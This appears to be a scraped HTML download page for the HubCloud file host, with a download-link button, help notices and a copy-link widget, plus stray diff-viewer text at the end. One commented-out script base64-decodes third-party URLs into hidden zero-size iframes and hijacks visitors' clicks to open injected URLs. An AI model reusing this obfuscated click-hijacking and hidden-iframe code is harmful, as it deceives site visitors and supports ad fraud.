<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.437s"></animateTransform>
|
||||
</circle><animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;0 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s"></animateTransform></g>
|
||||
</svg>
|
||||
<h3>Please Wait While Page is loading</h3>
|
||||
</div>
|
||||
<div class="vd d-none">
|
||||
|
||||
|
||||
|
||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=1qepetxqp4nhxxq&token=dDU4Z2M5RGgxcGl0Y01yTzd0eWRnTmdDS2QzVTVUQWpIR2xtS1R5RGhWaz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
|
||||
|
||||
<center>
|
||||
<!--<div class="ads-btns">-->
|
||||
<!--<div class="downloads-btns-div"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M7.5,1.5a6,6,0,1,0,0,12a6,6,0,1,0,0,-12m0,1a5,5,0,1,1,0,10a5,5,0,1,1,0,-10ZM6.625,11l1.75,0l0,-4.5l-1.75,0ZM7.5,3.75a1,1,0,1,0,0,2a1,1,0,1,0,0,-2Z"></path></svg><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M3.25,3.25l8.5,8.5M11.75,3.25l-8.5,8.5"></path></svg><a class="btn2" href="https://winexch.com/?btag=52330173" rel="nofollow" target="blank">Watch Online</a><a class="btn2 btn-zip" target="blank" rel="nofollow" href="https://winexch.com/?btag=52330173">Download</a></div>-->
|
||||
<!--</div>-->
|
||||
</center>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</h2>
|
||||
<center>
|
||||
<!-- <a href="http://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/footer.gif" style="-->
|
||||
<!-- width: 820px;-->
|
||||
<!-- height: 90px;-->
|
||||
<!-- padding: -17px;-->
|
||||
<!--" class="img-fluid"></a>-->
|
||||
</center>
|
||||
|
||||
<div class="alert alert-info" role="alert">
|
||||
<P><a href="https://tinyurl.com/yjrvvdxu" rel="noopener noreferrer nofollow" target="_blank">How to Download From HubCloud ? Click here to Watch Tutorial</a></P>
|
||||
</div>
|
||||
|
||||
<div class="alert alert-primary" role="alert">
|
||||
<p><b>Note:</b> <i> Always Use Updated Chrome Browser With Cookies Enabled .</i>| Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
|
||||
</div>
|
||||
<div class="alert alert-info" role="alert">
|
||||
<p>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
|
||||
</div>
|
||||
<hr>
|
||||
|
||||
|
||||
|
||||
<!--<div class="m-5 font-weight-normal text-primary">-->
|
||||
<!--<a href="https://a-ads.com?partner=1490501">Advertise with Anonymous Ads</a>-->
|
||||
<!--</div>-->
|
||||
<br>
|
||||
<div class="tab-content">
|
||||
<div role="tabpanel" class="tab-pane fade show active" id="link">
|
||||
<div class="text" align="center">
|
||||
<ul class="nav nav-tabs" role="tablist">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="card-body" id="div1">
|
||||
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/1qepetxqp4nhxxq</p>
|
||||
</div>
|
||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||
<script>
|
||||
|
||||
setTimeout(function(){
|
||||
document.querySelector(".loading").classList.add("d-none");
|
||||
document.querySelector(".vd").classList.remove("d-none");
|
||||
}, 2000);
|
||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=1qepetxqp4nhxxq&token=dDU4Z2M5RGgxcGl0Y01yTzd0eWRnTmdDS2QzVTVUQWpIR2xtS1R5RGhWaz0=';
|
||||
|
||||
var download = document.getElementById('download');
|
||||
download.onclick = function() {
|
||||
if (this.classList.contains('disabled')) {
|
||||
event.preventDefault();
|
||||
return;
|
||||
}
|
||||
window.location.href = url;
|
||||
download.classList.add('disabled');
|
||||
setTimeout(function() {
|
||||
download.classList.remove('disabled');
|
||||
}, 6000);
|
||||
}
|
||||
</script>
|
||||
<script>
|
||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
|
||||
</script>
|
||||
<script>
|
||||
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
||||
</script>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br><br>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="footer">
|
||||
|
||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||
</div>
|
||||
|
||||
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'9bede0942dcf4e6c',t:'MTc2ODU2OTI4MA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body>
|
||||
</html>
|
||||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue